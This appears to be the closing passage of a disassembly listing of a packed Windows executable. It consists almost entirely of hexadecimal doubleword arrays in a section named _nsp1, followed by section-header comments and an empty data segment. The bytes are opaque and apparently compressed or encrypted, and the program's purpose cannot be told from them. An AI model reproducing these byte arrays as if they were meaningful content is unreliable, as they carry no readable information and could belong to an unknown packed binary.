0DE7CFCA9h, 2E309AFBh, 858FC056h, 0C08183F3h dd 5325C465h, 3691F5F8h, 0B0A50531h, 70C16FEEh, 0D10C474Dh dd 0ADAA1191h, 0CEBA1D60h, 5C1827B1h, 0DB217F59h, 698D6911h dd 6743D22Ah, 0D71BFC93h, 0B1501B98h, 197C571Bh, 0C489A22Bh dd 0F20F8612h, 0B8AAA741h, 0F2342CF5h, 45F8FDE1h, 78296B3Bh dd 90943831h, 651797A2h, 0CDB7BB9Ch, 53A1B3A0h, 2024FEC5h dd 800CA942h, 0ECA3BDCEh, 0F21BDECDh, 0D723DD17h, 0C15893F0h dd 8F1DA581h, 63A4F503h, 0C0ADD43Ch, 6306AE05h, 0F4A10824h dd 77B354F8h, 9AE82FAh, 780E4CF9h, 32A20C05h, 0DC776A58h dd 4D3ECEA5h, 892F985h, 9778380Bh, 9F15045Bh, 58010E00h dd 441605E6h, 0C5EBB523h, 989DEAC7h, 0CEAC5BA6h, 539C77AFh dd 0DDBFEA90h, 88F47CF0h, 118A89FDh, 0ACB74CEBh, 0E73FC243h dd 66946ADBh, 1CFCD4E1h, 101A2DD0h, 80D95FE8h, 764BF7A8h dd 0E56ADD35h, 0B2B5133Dh, 0A3FBEE88h, 0DBE0950Ch, 0E7E8FB4Eh dd 0BA9F77C1h, 8BBD1904h, 8EA71FBh, 7FFDC96Fh, 102B82A4h dd 0E8196535h, 7A56486Eh, 9494806h, 770EBD99h, 0E9E22161h dd 580C3902h, 0F1B38B71h, 0F9AD646Ch, 698A786h, 36334F9Fh dd 0DDD4B5C9h, 18B6BC88h, 398ADF44h, 1D0DE281h, 0D55A8C4Eh dd 0DA5ABAD6h, 6591A64Dh, 350E300h, 0CFDF3D14h, 4E014390h dd 651371FDh, 0ED2569D6h, 0B09F96E9h, 327FC73Bh, 6C4AAC26h dd 33D76F1Ch, 0E460BFF0h, 0CF8213E3h, 998DC638h, 7D6D4C96h dd 0CEE8ACE2h, 0F42804D6h, 0C75E12CCh, 0C3807133h, 6B4037D4h dd 0F3406F0Fh, 6CA1B07Bh, 5D333CA5h, 0B9179A00h, 0BAFDBC68h dd 9009795Dh, 9F3C7DC7h, 2F68673Eh, 0D5C9303Bh, 0D97511BFh dd 0CF2C2208h, 0E36AD8D5h, 58B41218h, 0A82F208Bh, 0A6403F1h dd 0AC3CB7EDh, 0CC47142Bh, 7296C82Dh, 0ED344BDEh, 0C76B2D9Ch dd 0AC452E89h, 3FB88833h, 7E1D1593h, 0A88DB411h, 0AA739F95h dd 6A6B3EC8h, 0CA476356h, 77D66B57h, 0E5F587E4h, 9EB0E7E5h dd 14CDC2D3h, 52921EB1h dd 1949B715h, 0B5688D3Eh, 9A7BBA4Eh, 6AE2B828h, 2815F0FFh dd 0AB530160h, 0A749853Ah, 0D534E5A8h, 0A82E9C12h, 62E57502h dd 0C414675Ch, 0D19B3195h, 908C46BAh, 3A6BE4ACh, 9D3F549Eh dd 7EA53887h, 2B015684h, 0B0AA18E5h, 4693693Ah, 5E653AABh dd 7167D580h, 0D4E0D3E6h, 31F81CF1h, 0B56C5BE8h, 57881545h dd 4AAA9C8Eh, 621ACCBEh, 0BF2A4E62h, 0A14A3618h, 517653C3h dd 807E38C2h, 0C0AA3B73h, 0A2BD61AEh, 0CB472908h, 0E19E444Ch dd 4CFBE3BAh, 7D5C95D5h, 44A389E5h, 7F381929h, 2C828A4Fh dd 6B7F9CC4h, 0BF508E46h, 45A0CA75h, 24989B9Eh, 0A0A34C8Bh dd 0BB4555B0h, 3D6C5F8Bh, 0ED2B921Eh, 0BBCC82F0h, 87EEA481h dd 0F335A941h, 1C70BE85h, 7AB226CFh, 0FEB27FCBh, 0B5670579h dd 9490C405h, 6D95694Bh, 0E6630848h, 89B7FA9Bh, 4753478Bh dd 1737F8EDh, 0AF24AB5Fh, 62BEA8FBh, 11CD932Fh, 5AF1B75h dd 43A443Eh, 0D7475A35h, 0BECB2AD6h, 4485AD2Ah, 24BB7A60h dd 0FFA8DBABh, 0FA801D1h, 9C1822BBh, 0C240CBF5h, 7AEED2E7h dd 0FD6009EBh, 0C5E34BC4h, 90F935F5h, 0C9C4614Bh, 65076CF2h dd 71360ED0h, 69541FF0h, 4E6C2BF7h, 898A1438h, 0B31BDFFDh dd 0DB6A63A3h, 9A040F54h, 3C116BA7h, 23E92E22h, 5C958938h dd 0ECA45B14h, 0D3374319h, 8084FE12h, 0E3CC2395h, 64676B98h dd 9FCE219Bh, 5A0B5D47h, 9C085109h, 0AC0C6376h, 8812F520h dd 0EC8D91CFh, 0F69BC7F6h, 0CEC1D7Eh, 14C1FE93h, 0BCC9E5Eh dd 421794D5h, 0A4DFB9Ah, 53805B89h, 9B0B6802h, 3EE28826h dd 0F091CEA9h, 22132ED5h, 0B4AD763Fh, 0FE261AC8h, 68DC92B4h dd 0A68DFBB5h, 5F377760h, 0D012426Eh, 24B6B115h, 0C163552Ah dd 1E4D2CF7h, 0F2B8B3F2h, 38E68555h, 0D0CB5BB0h, 2C102F99h dd 0A5ACC8D6h, 88CF3B49h, 0B3C5DBA1h, 0EEB9B6E5h, 0FC4E0843h dd 6DEBC4F6h, 8ADFDABBh, 38ACBF88h, 0BAF319DBh, 28902101h dd 4B8E40D3h, 7B251297h, 0D00EB990h, 70708AC5h, 80D3A2F2h dd 0D966E762h, 0F038B642h, 2401193Ah, 0F3A2138Dh, 0FF77AC11h dd 67D22559h, 3D5B7E97h, 37A443D1h, 9BA88367h, 3FCB80BBh dd 0C80492A1h, 2DC4EF1Bh, 46AFE47Ch, 0ADDEDFB8h, 2923375Ah dd 7544AB73h, 0BFA1EF7Ch, 0F129C558h, 8D6E0BDCh, 0E8200166h dd 0E4F4D9B4h, 7E53454Fh, 6173DFCEh, 70835EF1h, 9C9F4D1Eh dd 0E90971E7h, 0FDBEBA7h, 848AE47Fh, 32F98BCBh, 0A674863Bh dd 364A2ADFh, 0A0D36146h, 947D5FBEh, 380A3CACh, 0D91565E6h dd 475AA559h, 0ED746C44h, 4D155A9Dh, 0CE87E4D9h, 98ECCC33h dd 3C8DD1A7h, 44280912h, 7E9C3737h, 0ACC545F4h, 464202A0h dd 0C5B364Eh, 59035C72h, 7655F41h, 0BD9B7B3h, 33617BC0h dd 0CDADAD8Eh, 0FBCA5D07h, 1C90BE79h, 0EE54FE73h, 0FC7329EAh dd 0FDFD1FD3h, 80A2739Ch, 5097F016h, 823C688Bh, 14D39C7Ah dd 366039CDh, 57F62C4Fh, 0B2D8BE59h, 0D499F368h, 0ED5A4187h dd 25C75733h, 988D489Ah, 0C931315h, 15C69DA7h, 95131FC0h dd 0AA179AFAh, 89E9AF3Dh, 78615ECAh, 0E83CD098h, 6C4081D4h dd 68778CEh, 8B7051E4h, 163BB758h, 2ED20396h, 375F3635h dd 0D3771591h, 14A4881Ch, 66650B41h, 21593EDh, 0EF7A0BDDh dd 2035A9B6h, 0A711C88Ah, 0F8A65422h, 51DDF03Eh, 3C04C7CCh dd 98FB7B8Eh, 3E7ADC2Eh, 1DE0D608h, 0E5E5B949h, 0E09825EBh dd 0A0BCF401h, 892595E8h, 0CF213E5Ah, 0DAE85D7Dh, 11C5D3D8h dd 1A3D7FFCh, 5CB06440h, 687252C1h, 8D8F657h, 3F9DBC3Fh dd 0CB0A0480h, 570F7A35h, 60A1D040h, 8ACFA227h, 5004D4F9h dd 0F039758Dh, 8D54A82Fh, 7B5E2DF3h, 2C3AD9CBh, 0FB7E384h dd 3C7E62E9h, 0E7B6CC12h, 8198B719h, 8B4FBB44h, 209404F7h dd 0A229D8E1h, 66C937CAh, 8016A42Ah, 4505E67Ch, 1E0D20E1h dd 73E9EE96h, 51C31CA4h, 230BC354h, 0E9395C63h, 95EEA7CFh dd 1931DA43h, 978188D6h, 0E76B87F6h, 0B732584Fh, 0B192BBC5h dd 0A59A516Eh, 75BAD04Ch, 881FCB3Eh, 9381B1A3h, 6F7A1664h dd 0FFD5D03Eh, 0E4D786E9h, 782B64F1h, 803417BAh, 43962613h dd 1E1D220Ah, 7779CD0Ah, 5D34F3C7h, 0AB9A6E53h, 3B7979FFh dd 0D0B556DFh, 5F6E2BBh, 3C1CC188h, 448C566Eh, 6CA6FB29h dd 7E22AC5Eh, 249D8792h, 6821B2FAh, 0F9255981h, 0AAE2374Fh dd 0BC1E4770h, 0BB9890A5h, 0C052945Ah, 45495C78h, 0CC1FD39Ch dd 0B7282B3h, 9D2F3721h, 0F11BB45Eh, 0E4ED2FAEh, 0B0B2FC74h dd 3164AAC7h, 5177CABFh, 0DEB37B76h, 0ED9F06E3h, 86044CFh dd 585F1019h, 0FB1954AEh, 7F682BDFh, 7324B75Ch, 237AB6D0h dd 0F70B2BB9h, 6A913357h, 0AEDB6129h, 26722D55h, 0FAC2FB94h dd 0F4D3B4A7h, 0D1600BC1h, 3892B48Fh, 51807E76h, 756448Bh dd 255F9795h, 0B2EEDA2Bh, 90190DA3h, 6B6257CFh, 530026B1h dd 22523AFh, 0F0654BCCh, 66584A25h, 0F34768D7h, 96C9AFEEh dd 0F4A5ECF4h, 2FF3240Ah, 698DDE5h, 88805BA3h, 40F2158Eh dd 4D288D77h, 2844D5FBh, 41A65468h, 222DB9E1h, 31069FF4h dd 9C014753h, 0CB6D05B2h, 4CF69E0Ah, 85F7F58Bh, 50F30802h dd 0DFE08251h, 668B771Ch, 0CB1AC6D0h, 0C73279EEh, 91918754h dd 51540BB9h, 5CA5FAD2h, 0EA788070h, 15B3E4E1h, 0D58529F1h dd 0C6D8B7A8h, 0ED06C983h, 4F3BB093h, 1111161Fh, 0CE996FB1h dd 0A72AD89h, 10017906h, 3D703AFFh, 1F297781h, 1EC992E9h dd 8E1BFC57h, 684909CFh, 8635DA22h, 3A6FB5F0h, 75B078F6h dd 0B426DF1Ah, 4FD0E7D5h, 2761E3FCh, 71BCC535h, 7519C36Eh dd 3B50A8F8h, 42914F6h, 48ACFFB0h, 50D4E026h, 93B8C6A2h dd 34BF45B2h, 3BAD908Ch, 5F17CA0Bh, 7FCCE560h, 0B91EABDCh dd 0B38C020Ah, 12EA8C6Ah, 0F25F0C77h, 44848518h, 0C764241Eh dd 120914B2h, 0EFA893B3h, 0F4A83ECBh, 0F409F930h, 320708E1h dd 4F5A3009h, 0E35886E3h, 7F3EC87Dh, 74711879h, 0E5EACF5Ah dd 4A8128C1h, 0B27F3C2Fh, 39333A2Ch, 5DF93643h, 0FC05E7DFh dd 5466963Bh, 2614994Fh, 1F007F82h, 91894BFFh, 93A01AE9h dd 26F4F034h, 917DFA02h, 0B83FB542h, 1C74A17Bh, 0D348128Bh dd 0D3B0701Bh, 63DE80CFh, 0C2197C21h, 55AF7506h, 7C6AA3ACh dd 0EA6CB598h, 54D89617h, 0E7F1CF16h, 12D3E6F2h, 80440CFAh dd 0D7F06B7Bh, 38DE866Bh, 0FB9AC88Fh, 0B4F09C65h, 6387B96Ch dd 59EA7BEAh, 10564BF2h, 54093924h, 0EAAC9C0Eh, 3B1D6939h dd 24E20182h, 0F57A68D8h, 3BD00D47h, 0A42240D4h, 0C2C6346Ah dd 997C7E62h, 2ADC9524h, 5830C7Ah, 0CF0A54C7h, 287DED95h dd 6FF08B63h, 0FA64FB31h, 257F5F36h, 5FB63BFh, 0F654D5F7h dd 0A36CED79h, 81894C59h, 0EFEE3420h, 0B8E2F1F0h, 0FF8649A6h dd 5390BACFh, 3D219504h, 0A4A8B4CAh, 1E471141h, 5E95E59Bh dd 766596B0h, 3A86BB2Ch, 7EA0C1F3h, 4F0B03A7h, 840AF531h dd 2CA533E0h, 0E43DEFF0h, 9464052Ch, 626C866Ah, 0CDF0CFAFh dd 4EE7FCF2h, 0FD1FC100h, 0B9A46617h, 0BB448A37h, 4357E05h dd 0FA4086ACh, 18A958BFh, 813BDD19h, 7C17CD9Ah, 0DD93D874h dd 0BC9BFD79h, 0E4F34324h, 6C772431h, 3805DC5h, 3745C4E1h dd 0A601BBC6h, 908E2459h, 367355B0h, 9D5A6169h, 8CEA6339h dd 0F6308FC1h, 0B35DAC6Fh, 764505EAh, 0FC425586h, 0DAC24BD2h dd 0A65D88C4h, 0C98085B6h, 9DEBEB55h, 67755C91h, 98DE1154h dd 0F19B258h, 7358024Dh dd 357AB8C0h, 0B15C6373h, 3C932FAEh, 0BFC50A4Fh, 56DD4F27h dd 0ACE57F7Ah, 2D0485F0h, 25C7E506h, 3D96341Ch, 137A94C4h dd 0DA3BC2FDh, 0CD6E95CFh, 6F358BD2h, 0EAFA8231h, 76C1D220h dd 5310CB57h, 22324088h, 93D4063h, 3F5364A8h, 60BF4AA0h dd 4A83435Eh, 0D2CAA5E8h, 98A9D438h, 0E5D2F0BFh, 6C19759Dh dd 0DC88C338h, 80DFA4E0h, 0C2BD2BC7h, 0FFE5B86Ch, 226E451Bh dd 0C7F05920h, 3ED9FFA8h, 0E9D15651h, 0A9754B53h, 79091E8Eh dd 4854517Dh, 63742434h, 8E77D232h, 0EBE6B38Ch, 4ADDE44h dd 0EA283651h, 966793A4h, 0EE32B2FFh, 16F178DBh, 9970076Eh dd 0D5F17731h, 3AF020E8h, 713A16E2h, 0A9F9AADBh, 0FABFE051h dd 0A8BA8742h, 8422C035h, 0AB8AB382h, 2CC66D5Fh, 0E4F62576h dd 9931B5B5h, 3FDA74CBh, 0B6CD6639h, 35336196h, 0A17F5C34h dd 0A83F8D80h, 28D90740h, 6B6AAE13h, 0F9E0D7F1h, 2117F6FDh dd 301303DEh, 0F9F0B72Fh, 0D635106Eh, 0B583C91Ah, 3517536Bh dd 0F04DDD3Dh, 0AA332229h, 73AB7AD8h, 91E09915h, 587911FDh dd 6B38A9FFh, 0EFB3B654h, 6405BB71h, 0B591E09Fh, 0F045A86h dd 334CDF5Eh, 0AB7D0710h, 0CCB61F06h, 0CB10967Ch, 33E7F123h dd 0F6056EB8h, 0FE2D5E83h, 0C8831789h, 510B7AEFh, 0E995874Eh dd 0FDF17338h, 99975407h, 0EE201CB5h, 0B092D8ADh, 3BE7F88Ch dd 1B392092h, 5C68D0EFh, 36B4C85h, 0AAECCAF6h, 9200825Dh dd 0CD57E349h, 0ADF23A1Eh, 1428EAABh, 7B904889h, 86E2968h dd 0F6B38473h, 5C2C27C2h, 0E5DE7881h, 0B0DC1F73h, 2AA028Ch dd 0F29CD835h, 0B0CDD8Ah, 0EF4A8C91h, 593CE4F2h, 0AD0DA796h dd 85D93D9Ah, 6273D630h, 43C1A6AAh, 0C5576F98h, 0E1E55D04h dd 6F927800h, 0E1125F00h, 0A64C6A8Eh, 0C75E03BFh, 0B29179EEh dd 3E846332h, 0EC234A3Fh, 0D893A4AFh, 0AFF355FFh, 399A5592h dd 24352DCh, 362BE1E0h, 82E4B752h, 0BD7A5E26h, 0F69DBC4Ah dd 0A1CDA52Eh, 727FABE2h, 0C9F9E6F4h, 0E50D6435h, 0A2A80BC8h dd 9218C3C4h, 182D5E57h, 0B550C633h, 0DAA0FB3Ah, 7C91FEDEh dd 2A1B701Dh, 0DB44D6D0h, 0AFE2FCA8h, 0F5EC4226h, 0FDAA5036h dd 0EE4692B7h, 7267CCD8h, 0FC00704Dh, 1AB2E905h, 0A5A82CDEh dd 185CA3F8h, 0A84593C4h, 0E9A69F10h, 0ABC6649Ch, 0A61643AEh dd 50054DCAh, 4238E6A8h, 0C987199Ah, 7B959B16h, 78D46842h dd 0EF2BF0E3h, 49F17A23h, 43D38D9Fh, 0E64C8F69h, 3DC725Ah dd 0B3F6D9BCh, 1DED32BFh, 0F2A5404Dh, 776A460Ch, 31859444h dd 0DFFE7F50h, 6ED35E5Dh, 0D9AFCCAh, 0BDE3FDA7h, 0F4902E5h dd 85A65BE8h, 0D78B4485h, 5ABF52ADh, 98EA5268h, 0A648F727h dd 0DC0B1AA0h, 1C887331h, 0F22DB42h, 0C728FD5Ah, 47298951h dd 7045074Ch, 8CA671D7h, 7FC586C9h, 551CD9A7h, 0E3D9770h dd 80D0DC30h, 0A01FA42Dh, 5810624Bh, 0A64FADCAh, 495D0138h dd 0DB62F100h, 65A6AC88h, 15A2849Ch, 0FA0F72D3h, 20934411h dd 1C4413F4h, 0DB218049h, 0CB3A4CD4h, 66D7F179h, 0F4E1B582h dd 0B2321A40h, 41209421h, 0E515DE4h, 265E6123h, 0F7FC7CBEh dd 7E796905h, 0F6FD1DF0h, 4DFBB3D3h, 169EEE83h, 2B7D1A40h dd 8135F345h, 3BE262E0h, 4A49F024h, 5DC42195h, 0BDDE7AABh dd 3FA69A22h, 1Ah, 4D5h dup(0) db 2 dup(0) _nsp1 ends ; Section 3. (virtual address 0011B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0011A600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 51B000h align 2000h _idata2 ends end start